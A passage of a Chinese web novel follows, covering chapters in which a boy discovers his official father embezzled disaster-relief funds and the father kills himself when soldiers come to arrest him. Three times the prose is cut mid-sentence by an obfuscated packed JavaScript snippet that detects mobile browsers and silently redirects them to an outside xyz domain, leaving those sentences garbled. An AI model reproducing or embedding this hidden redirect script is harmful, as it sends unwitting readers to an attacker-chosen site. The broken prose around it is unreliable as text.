“江宁，你以后是不是要搬走了？” 学写字的时候，叶秋水突然问道。 “大概。” 开春后江泠要去京城求学，江二爷留在曲州任职，宋氏会陪江泠一起，宋家老太爷有太师之衔，家中老大老四都在京城中当官，前不久也曾来信，承诺将来会多关照母子二人。 不出意外的话，过了正月，江泠就该启程离开了，满打满算，他在这里生活了快一年。 闻言，叶秋水垂下眸子，轻声道：“江宁，你以后是不是要去当官了？” “今日在酒肆，我听见有客人谈起你，说你马上就要去京城当官了。” 江泠说：“不是当官，是去读书。” “京城是哪里，离得远吗？” “很远。” 曲州和京城，差不多是天南海北的距离，路上要走一个多月，所以可能过完年没多久他就得出发，这样才能赶得上国子监三月的入学。 叶秋水不解地问：“为什么要去那么远的地方读书，在这里不也能读吗？” “不一样。”江泠说道：“京城的国子监，有全天下最好的老师，在那里可以学到许多在曲州学不到的东西，也会见识更多。” 每一个学子入仕前都渴望能去那里求学，不仅是因为进入国子监的人将来更容易做官，也因为在那里可以遇到许多志同道合之人，所见所识，都是在小小的州府县学里接触不到的。 除了达官显贵的孩子，任何人都必须依靠扎实的才学与能力才有机会被举荐入国子监，江泠从小就以此为目标。 “哦……”叶秋水声音低了下去，“那你以后还会回来吗？” 江泠沉默。 半晌，他开口道：“不知。” 曲州是江氏的祖地，将来他去了京师，自然也有回乡看望长辈与拜祭先人的时候，但回的也是江家。 叶秋水意识到可能江泠以后就不会回来了，她怔了怔，很快就笑起来，“不过江宁，你读书那么厉害，将来一定可以成为全天下最厉害的大官。” 江泠却说：“宰相也好，主簿也罢，我没有想要做大官。” 叶秋水疑惑，“可是他们都说你要做大官的。” “嗯。”江泠点头，“长辈、族人……都希望我可以入仕，江家富奢，但与真正的世家大族比起来实在不值一提，只是我自己……我读书并不是想为了这些。” 江泠思绪幽远，低声道：“我只想尽力做好我自己的事，如果将来真的入仕，希望我治理的地方，百姓能安居乐业，不必挨饿受冻。” 小时候，江二爷教他写字，曾经语重心长地告诉过他，“丈夫所志在经国，期使四海皆衽席”①，不管在什么位置，都要一心为民，临渊持重，不随波逐流，不违背本心。 江泠一直记在心里，他也励志要成为这样的人。 叶秋水听不太懂他的话，但也知道，江泠与别的人不一样。 东门街住着许多富商与官员，虽然与北坊毗邻，但两地天壤之别，北坊的人是不允许进入东门街的，叶秋水曾经看见一个有冤情的老妪找到某位官员的府邸门前，还未来得及开口，官员觉得她蓬头垢面，在府门前游荡有碍观瞻，让下人将她拖走丢远了。 若是换做江泠，他定然不会这么做，如果他是曲州的父母官，娘亲不会被叶大打死，他一定会为她们做主，同样，她也不会数次去县衙讨要米粮反被赶走。 不过，若他是大官，他们大概也不会认识。 叶秋水从来没指望自己能和江泠做一辈子的朋友，她的认知里，曲州已经是天大的地方了，她想象不出还有一个更富贵奢靡的地方叫做京城。 她是个不会被烦恼左右，很快就想通的孩子，难过了一下，叶秋水又笑，说：“你继续教我写字吧，江宁，要是我学会认字和算术，我就可以赚很多钱了。” “嗯。” 江泠颔首，继续教她认字。 蓦地，远处传来嘈杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496470|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音。 叶秋水随口道：“好吵啊，江宁，你家是不是来客人了？” 江泠顿了顿，抬头，一墙之隔外的江宅很吵闹。 大概真的有客人拜访，江泠偏过头，“我先回去看看。” 叶秋水握着笔，“好。” 他翻墙回家，听到动静越来越大，确信这吵闹声是从自己家里传出。 “怎么了？” 江泠拉住一个慌乱中跑动的小厮。 对方一看到他，惊道：“三郎，你去哪里了，二娘子到处找您，出事了，出大事了，知州府被抄了！” 江泠愣了一瞬，“娘呢？” “二娘子在花厅！” 江泠立刻赶过去。 桌上还堆着宋氏备好的要送给知州夫人的礼，此刻，她坐在厅中，垂眼抹泪，神色焦急，“怎么会出这样的事啊……” 一旁婆子与丫鬟们温声宽慰。 不久，江二爷慌不择路地从外面回来，他急得在门槛前绊了一下，白着脸，被下人扶着，堪堪站稳。 宋氏扑过去，问他怎么回事。 “我……我……”江二爷打着颤，目光晃动，语焉不详地说：“孙知州送去京城的礼，在港口被拦下了。” 宋氏惊叫一声。 江泠听了，不明所以。“什么礼？” 江泠问，但江二爷已经呆傻了，顾不着回答，他瞥见摆在远处的贺礼，回神，“快将这些东西砸了，丢了！” 下人们一拥上前，将昂贵的贺礼端走销毁。 宋氏也吩咐婢女，将灯笼春联撕了，不要张扬，立刻闭门。 江泠又问了好几声，没有人回答他。 * 年底，京师码头截下一艘货船，里面是曲州的官员送给京中贵人的大礼，而前不久，曲州刚因为大雪，向朝廷要了一笔赈灾款。 这份大礼从何而来不言而喻，事情败露的当日，急报从京师发出，第二日孙知州便被抓捕入狱。 宋氏快要哭瞎眼，江二爷到处打听消息，但抓人的官兵是从京城派来的，奉的是皇命，孙府被抄已毫无转圜余地。 明明是新年，但曲州却风声鹤唳，曾与知州府结交的人家战战兢兢，生怕下一个就是自己，江二爷愁眉苦脸，他艰难地维持着表面的风平浪静，在第一时间割断了与知州府的联系，他知道孙知州是逃不掉此劫了，怕就怕自己家也被牵连进去。 事情闹得这么大，江泠总算明白发生了何事，他神情凝重，找到江二爷，问他孙知州私吞赈灾款，给京中贵人送礼之事他有没有参与。 如果参与了，他们江家就是同谋。 江二爷神色慌了一下，而后立刻镇定下来，辞严厉色地说：“怎么可能，那些事情我一概不知，我没有参与过，你也不要担心，你照常准备去京城的事宜，别的不用多想，过两日就赶紧出发！” 为避免夜长梦多，江二爷催促宋氏，让她这几日就同江泠进京。 21. 败露 临行前，宋氏连夜让下人收拾好了行礼，江泠原本还想再留几天，但他们催促不停，他不得不提前开始整理自己的藏书，到时候一起带去京城。 江泠的书很多，自己屋中堆不下后，后院的书房内又摆了几个架子，平日江二爷常来此地，有时候见客人也会去书房谈事。 这两日，江二爷似乎很忙，一整天都见不到人，有时候就算回来，也是火急火燎地钻进书房，闭门不出。 江泠推开门，书房里没有人，空气中还残留着什么东西灼烧后的味道。 江二爷应当刚刚离开，来的时候，江泠在路上碰见他，江二爷神色慌乱，连江泠叫他都没有回应。 江泠心里奇怪，只当他是被孙府抄家一事吓到了。 江家从前巴结知州府，江二爷还是孙知州的下属，从前，宋氏与知州夫人也很亲近，他们积极与官宦人家结交，受尽恭维，然而孙家毫无预兆地倒台，也有几个官员被牵扯其中，江二爷与宋氏惊慌不已，这些天变得很收敛。 万幸的是，火没烧到江家，而江泠也快要去国子监了，京城世家大族交错盘结，比知州更大的官也比比皆是。宋氏告诉江泠，进了京，要结交更位高权重的人，这样才不会像孙知州一样，昨日风光无限，明朝就大厦倾塌了。 江泠走进书房，将他要带去京城的书挑出来，让下人装箱入册。 江家的书房是不准下人随意进出的，江二爷到底是个不大不小的官，平日时常接见外客，与同僚在书房交谈，桌上紫檀炉正燃着香，烟雾飘渺，案面有些乱，江二爷走之前不知道做了什么，并未让人进来收拾，江泠走过去，将纸张规整。 只是靠得近了，便觉得炉中香气不对，江泠瞥过去，忽的瞧见炉中还有半页未烧尽的信纸。 他揭开盖子，只看了一眼，脸色变了变。 正月的第二天，曲州大雪。 江四爷领着江晖来江宅为江泠送行，希望江泠可以在他的老师面前美言几句，他走后，州学的学究能多关照江晖，一门的堂兄弟，要互相扶持，让江晖也早日被举荐去国子监。 江晖低着头，无精打采。 今早听说，孙知州死罪难逃，知州夫人伤心过度，怕是也要随他去了，孙仲言要被流放边疆。 眼看他高楼起，眼看他楼塌了，四夫人心惊肉跳，后怕地同他说，还好孙仲言瞧不上他，没把他当朋友，要不然孙府出事，说不定他还会被连累。 不过三哥要去国子监的事是改变不了的，既然巴结不了孙府，江四爷与四夫人又转变策略，让他来巴结江泠，到底是一家人，要是江泠将来真的做了官，总得关照关照他这个堂弟。 江晖拗不过父母，不情愿地来拜别。 但江宅的气氛似乎不太对，宋氏不出门见客，二伯也只匆匆露过一面，让江晖自己去找江泠，他兀自寻去，正好在路上碰见江泠，只是江泠神情格外严肃，眉头紧锁，疾步匆匆，看见他，也只是点了点头示意。 江晖心中奇怪，跟上去。 江二爷在后院，他称病没有去上值，躲在家中，战战兢兢。 紧闭的大门“嘭”的一声被推开。 江泠立在门前，背着光，神色看不清晰，“爹，我有事与你相谈。” 江二爷不知在忙什么，头都没有抬，“我现在没有空，你先……” 话未说完，江泠径直走近，将那半页未烧尽的信纸按在他面前的桌面上。 江二爷看了一眼，眼底闪过慌张，“你从哪里拿来的？！” “书房。” 江泠声音冷淡，目光犀利，“您走得匆忙，檀炉里的信纸未曾烧干净。” 一年过去，江泠十三岁，是个半大的少年，束起发，站在他面前，气质严肃，眉眼锋利，让江二爷有一种一切都被他洞悉干净的错觉。 江泠只从半张信纸上拼凑出了一个事实，孙知州卖官鬻爵，江二爷作为他的下属，收过许多赃款，也贿赂过很多人，贪下朝廷赈灾款的不只有孙知州，还有江二爷。 外人面前，清廉正直的江二爷，背地里害过人，贪过钱，犯过许多错事，只是他太会伪装，连江泠都不敢相信，他那儒雅随和的爹爹，竟然是这样一个伪君子！ 江二爷很快镇定下来，他伸手，想要将残纸拿来，江泠却不动，定定地看着他。 “什么意思？” 江二爷笑了，“三郎，你是来质问爹爹的吗？” “我只是不明白。”江泠眉心微拧，“二房的产业已经够多了，为什么您还要去贪这些，为什么要与那些人同流合污。” 江家是曲州大族，族中长辈又偏心二房，那些积业，足够数代人不愁吃穿，他想不通，想不通父亲为什么还要去贪赈灾款。 “你不明白。” 江二爷说：“有些事情，我也是无可奈何。” “无可奈何？”江泠反问，“是他们将刀架在您脖子上叫您贪了？” “官场就是这样的，特立独行的人走不长远。” “可是自古清正奉公之人便有，并非从当世始之。爹，您是曲州父母官，百姓都要仰仗您，大雪压塌了城南，有许多无家可归之人冻死街头，您过去体恤百姓，事必躬亲，许多人都称颂您，如果让他们知道连你手上都不干净的话，这世间可还有公道可言？金规铁律，如废纸一张。” 江泠不可置信地看着江二爷，“小时候，是您教导我，不论站在什么位置上，都不能忘记读书入仕的初衷，‘丈夫所志在经国，期使四海皆衽席’，也是您教过我的。” 江二爷叹了一声气，“嘉玉，人都是会变的，你现在年轻，你不懂，等你到了我这个年纪，你在这个位子上蹉跎二十年，你也会变的。” 江二爷出身商户，从小就自视清高，他的兄弟们，族人们每一个都唯利是图，只有他读书好，长辈们都说，将来他能有出息。 但是人外有人，天外有天，江二爷多次科举无望，年年落榜，又拉不下脸来和别的兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496471|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟一样到处跑生意，年过四十，却只是主簿，如果没有巴结上知州，他还不知道要在这个位子上再蹉跎多少年。 江二爷看着面前那个横眉怒目的少年，说道：“你的吃穿用度，曲州有哪个小官人小娘子比得上，如果没有爹娘，这些谁能给你？” “我可以不要这些。” 江泠平静地说：“没有这些，我依旧是我。” 江二爷好笑地看着他，“所以呢，你要与爹娘断绝关系，没有我们给你铺路，你觉得你能走多远？” 事到如今，江二爷仍旧没有反省的意思，他只是在给自己辩解，觉得他贪墨，与人同流合污皆是迫于无奈。 江泠静静地看了他片刻，忽然抬手，扯开自己身上穿的锦衣华服，摘下佩玉革带，丢弃在地，他穿着单薄的中衣，抓着那张残纸，淡声道：“我要去报官。” 江二爷脸上的镇定自若一寸寸裂开。 “三郎！” 他吼了一声，江泠置若罔闻，转身就要离开，江二爷这才慌了，他了解江泠，三郎是个死性子，认定一件事后就不会让步，他说要去报官，那就是真的要去检举自己父亲了。 江二爷追过去。 屋外，江晖吓得屁滚尿流，他手上还抓着要来请教江泠的文章，听到里面的动静，忙不迭地躲藏。 “三郎，你站住，你要逼死爹爹啊……”江二爷不敢大声喊，“你是我的儿子，你以为你不会被牵累吗，你这孩子这么就这般死脑筋！我改，我改还不行吗？” 江泠说：“就是因为你是我父亲，我才不能看着你犯错，一次逃过，终生侥幸，你根本不会改的，牵累就被牵累，我享了利益，我也有罪，他们要抓我就抓！” 抓走孙知州的官兵还没有离开曲州，他们正在调查同党，江二爷躲了许多日，近来甚至不敢去府衙，江泠要是真把这件事情抖出去，他怕是必死无疑了。 江二爷清高一辈子，自诩读书人，人前正人君子，要是被大家知道他背地里都干过什么，他这老脸丢尽，不如死了算了！ “三郎，你是真的要逼死爹爹啊……” 江泠走得快，外面的仆人不明所以，直到江二爷大喊一声拦住他，宋氏也被这里的动静引过来了，院子里乱作一团，江晖躲在角落，瑟瑟发抖。 二伯居然贪钱了，他给许多官员送过礼，说不定他自己的官职就是买来的！ 江二爷气得下颚都在颤抖，宋氏见到只穿着单衣的江泠，拉住他的手臂，问：“三郎，天寒地冻的你怎么穿得这么少，发生什么事了，三郎？” 江泠不理她，径直往前走，她还要再问什么，院外，管事急慌慌地跑进来，神情焦急无措，磕磕绊绊，话都说不清楚，他惊慌到了极点，“老爷，夫人，官兵、有官兵来了！” 话音落下，一群人愣在原地。 宋氏呆问：“官兵来做什么？” 管事觑了一眼不远处脸上血色褪尽的江二爷，颤声：“来……拿老爷。” 22. 坍塌 京城来的人奉命彻查孙知州一事，江二爷虽然极力将自己从中摘干净，但官兵在孙府发现了孙知州过去与许多富商官员间的来往信件，其中有一个就是江二爷。 一群人带着刀涌进江宅，东门街，乃至北坊所有人都瞧见了，门外叽叽喳喳，到处有人在看热闹，江二爷知道事情败露，脸色惨白如纸。 宋氏带人去拖延，管事一传完话，江二爷立刻转身，他脑海中飞速盘旋，是装病，还是现在跳窗跑路，他不能被抓走，江二爷一想到自己会像孙知州一样，被毫无尊严地拖出去，被嘲笑，被鄙弃，他是最要面子的人，这般下场于他而言，与凌迟无异。 江泠只穿着单衣，脸颊冻得发紫，他听到外面的动静，知道官兵已经查到江二爷头上了，无论他现在去不去报官，江二爷所做的事接下来都会公之于众。 瞥见他慌乱逃跑的样子，江泠冲上去，拦住他，到底是自己父亲，江泠不忍看他继续走死路，“爹，你躲不掉的，官府的人已经找来了，你现在就认罪，对一切供认不讳，不管是动刑，还是流放，至少还有一条命，躲是没有用的。” “我不去！” 听见外面的动静越来越大，宋氏带着几个下人能拦得住谁，江二爷红着眼，慌乱无措。 他自负盛名，虽然在族里排行第二，上面还有一个哥哥，但每年的祭祀，都是以江二爷为首，族中长辈，兄弟姐妹都要排在他后头，要是被抓了，这些年苦心经营的名声就全完了，纵有一线生机，他也活不下去，江二爷早已在高台上下不来了。 江二爷一把推开江泠，涕泪满面，瞪着他，痛心疾首地说：“三郎，你对爹爹太无情了！” 他恨恨地盯着江泠，这时，拦在院门前的小厮被推开，带刀的官兵扬声道：“江二，你贪污贿赂，人赃并获，我等奉命前来捉拿你归案，出来！” 江二爷一听，哆嗦了一下。 江泠开口，想要说什么，“爹，你……” 下一刻，江二爷扭过头，他像是下定了什么决心一般，目光凶狠，咬着牙，忽然毫无预兆，猛地一头往柱子上撞去，背影决然。 “嘭”的声，血流如瀑。 “爹！” 威严整肃的官兵涌进院落，宋氏阻拦不得，凄凄哀哀地求情，“大人，大人……定是有什么误会，我们老爷……啊啊啊啊！” 她一进来就瞧见一头鲜血，缓缓滑落的江二爷，失声尖叫，而后两眼一翻晕了过去。 婆子大叫道：“二娘子！二娘子！快来人啊！” 江泠白着脸，瞳孔震颤，跑向江二爷，又听到身后传来母亲的声音，他扭头，看见刘妈妈正在掐宋氏人中，官兵闯了进来，将江家围得水泄不通，丫鬟，小厮们手忙脚乱，抱头鼠窜。 官兵冲过去，七手八脚地将倒在柱子旁的江二爷拖起来，他一脸是血，身子像是一摊烂泥，有差役摸他的鼻息，大声道：“没气了，死了！” 江泠愣在原地，手脚冰凉。 江宅上下乱成一锅粥，一场闹剧仓促结束。 过去饱受赞誉，被北坊的贫民称作大善人的江二爷在家中畏罪自尽，曲州百姓这才知道从前清廉奉公都是他的伪装，江二爷不仅伙同孙知州等官员私吞朝廷的赈灾款，甚至多次收受贿赂，他在府衙任职的几个月，卷宗里就有许多冤假错案，官兵抄封江公宅，搜出江二爷未来得及销毁的来往信件，证据确凿，但江二爷自己潜逃不得，畏罪自尽，最后官兵也只能抬了他的尸体离开。 宋氏病倒，整日以泪洗面。 消息传到江家，老夫人一口气险些没有缓上来，子子孙孙们愁眉不展，聚在她的院子里，几个德高望重的老前辈也来了。 “到底怎么回事？” 辈分最高的族长神情严肃，江晖被推上前。 江宅出事那日，他就在场，只是场面混乱，江二爷宋氏他们没人顾得上他。 江晖目睹江二爷撞死在柱子前，他吓坏了，躲在角落双腿发软，那群官兵打打杀杀，院里哄闹，他悔得肠子都发青，就不该听父母的话去拜什么别！ 一群人围着他，江晖白着脸，畏畏缩缩，“我……我有文章不会，想去请教三哥，但三哥不理我，我瞧他看着很不对劲，就想着跟上去，谁知在房门外听到争吵声。” 族长追问，“吵什么？” 江晖磕磕绊绊将那日他在屋外听到的话重复，“三哥推开门，说要去报官，二伯追了出来，他们在院子里就这么吵起来，我听到二伯哭着说……说三哥要逼死他。” “而后、而后官兵就进来了，二伯想逃，但三哥不让，之后……之后就……” 他眸子颤抖，回忆起江二爷血溅当场的画面，险些咬到自己的舌头。 在场众人皆倒吸了一口气。 “三郎要报官？” 族长不可置信，“你听得真真切切的？” “真的。” 江晖连连点头，不敢隐瞒，“二伯说，他的一切都是江家给的，而后三哥便将衣袍发冠都脱了，他说他不要这些东西，被连累就连累，他要报官。” 江晖全部实话实说，心想，三哥太狠心了，要是家中长辈知道他想要报官，将亲爹逼死，三哥就会从神坛上跌下来，长辈们肯定就不喜欢他了。 族长的神情凝重起来。 厅中，江大爷、三爷、四爷等几个兄弟面面相觑，交换眼神。 族长说：“三郎是疯了，糊涂了！读书读得人都不清醒了！” “咱们这一家子，打断骨头连着筋，他是清高，不管不顾要去报官让人来抓自己的身生父亲，逼死亲爹，江家上下几百口，说不定都要被他牵累！” 江大爷眉头紧皱，看了眼一旁的江晖，吼道：“你也在场，你怎么不拦着三郎！” “我不知道，我不知道会这样啊！” 江晖哭着说，他被长辈们包围训话吓到，抬手抹泪。 “好了！你问孩子有什么用，平日难道不是你们将二房捧得那么高，他们眼里何时有我们这些兄弟？” 见自己儿子被训斥，江四爷冷着脸上前，将江晖揽到自己后头。 “当爹的贪墨、收受贿赂，当儿子的也不是好东西，冷血无情，逼死亲爹，还要连累我们其他族人！” 兄弟几个对着吵起来，族长敲了好几下拐杖都没有用。 他们积怨已久，看不惯二房受宠，互相间又多有龃龉，江二爷一死，这矛盾立刻爆发。 屋内，大夫喂老夫人吃下救心药，掐了许久人中，她终于悠悠转醒，越来越激烈的争吵声传进耳朵，老夫人涕泪满面，口里轻声唤着江泠的名字。 江四爷终于忍无可忍，扬声道：“分家，现在就分！” “老二在外面犯了事，这个没出息的东西，他死了倒一了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496472|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百了，可我们还活着呢，五郎还在读书，四娘七娘都还没嫁人，我们不能被他连累！” “分什么家，你也糊涂了？” 江大爷瞪着他，“不能分！” 大房没出息，三房五房、七房都是庶出，平日里大家居在一间屋檐下，互相还能有说有笑，要是分了家，大房不知道能分到多少家产。 他们又吵了起来。 一群晚辈们待在角落，大气不敢出，小娘子们被吓得抽泣不止。 “老二怎么能做出这样的事情来。” 族长扶着拐杖，重重敲了敲地，垂首唉声叹气。 江家不敢给江二爷办什么丧事，他做过什么官府查得一清二楚，如今在曲州，江二爷可谓臭名昭著，案子查清后，族中让人一副棺材将他带走，灰溜溜、悄无声息地葬了。 曲州出了这么大的事情，一连栽下数名官员，大街小巷都在交谈这件事。 叶秋水在酒肆干活，听到客人们谈论，才知道江家出了怎样的大事。 官府连日搜查江宅，缴获赃款，来来往往都是官兵，看守严格，她好几次想要翻墙进去都险些被官兵瞧见，根本没有机会混进去看看江泠怎么样了。 宋氏惊惧成疾，病得下不来床，江二爷的尸首是江泠带着人从衙门领回来的。 他也生着病，家中遭逢变故，去京城的行程被耽搁下来。 将江二爷接回来后，江泠去后院探望病中的母亲，宋氏躺在榻上，脸上还残留着泪痕，她攥着帕子，问：“你父亲下葬了吗？” 江泠垂着眼眸，唇色苍白，顿了顿，才轻轻点头。 宋氏捏起帕子，哽咽一声。 “怎么会突然出这样的事情。”宋氏呜咽说：“我知道他平时惯会装腔作势，受过贿赂，但我没想到他竟然连赈灾的钱都贪了。” “我真的不活了。”宋氏摇头，“这让我以后怎么做人，旁人都要笑话我是罪妇。” 宋氏性子要强，江二爷自己畏罪一死百了了，留着她怎么做人。 江泠不知道该说什么，许久，轻声道：“娘，我会好好读书，你不要难过。” “嗯……”宋氏含泪点头，泣不成声，一把拉住他，“三郎，娘只有你一个指望了，你千万要出人头地，一定要争气啊，娘不想一辈子被人笑话。” 她抓住江泠的手，千般嘱托。 “去给你舅舅们写信，我们这便启程去京城了，到了那里，还要他们多加照应。” “好。” 江泠点头，温声宽慰宋氏，待她躺下后，转身去书房写信。 这些天，他像个木偶一般，僵硬地去处理家中的事情，江二爷死得仓促，官府的人又来过许多次，宋氏没有精力去应对，都是江泠一个人，出了院子，强撑的镇定坍塌，江泠有些卸力地垂下肩膀，漫无目的地走动。 “郎、郎君……” 路过走廊，附近洒扫的丫鬟见到他便有些慌，想看又不敢看他，只能小声地叫他。 江泠点了点头，脚下不动声色加快从走廊离开，身后，丫鬟们松了一口气，压着声音交谈。 “二爷是被三郎逼死的。” “好多人都瞧见了，三郎要报官，二爷走投无路撞死在他面前了。” “那可是亲生父亲啊，他竟然没有半分犹豫，再怎么说也是一家人，打断骨头连着筋，这也太狠心了！”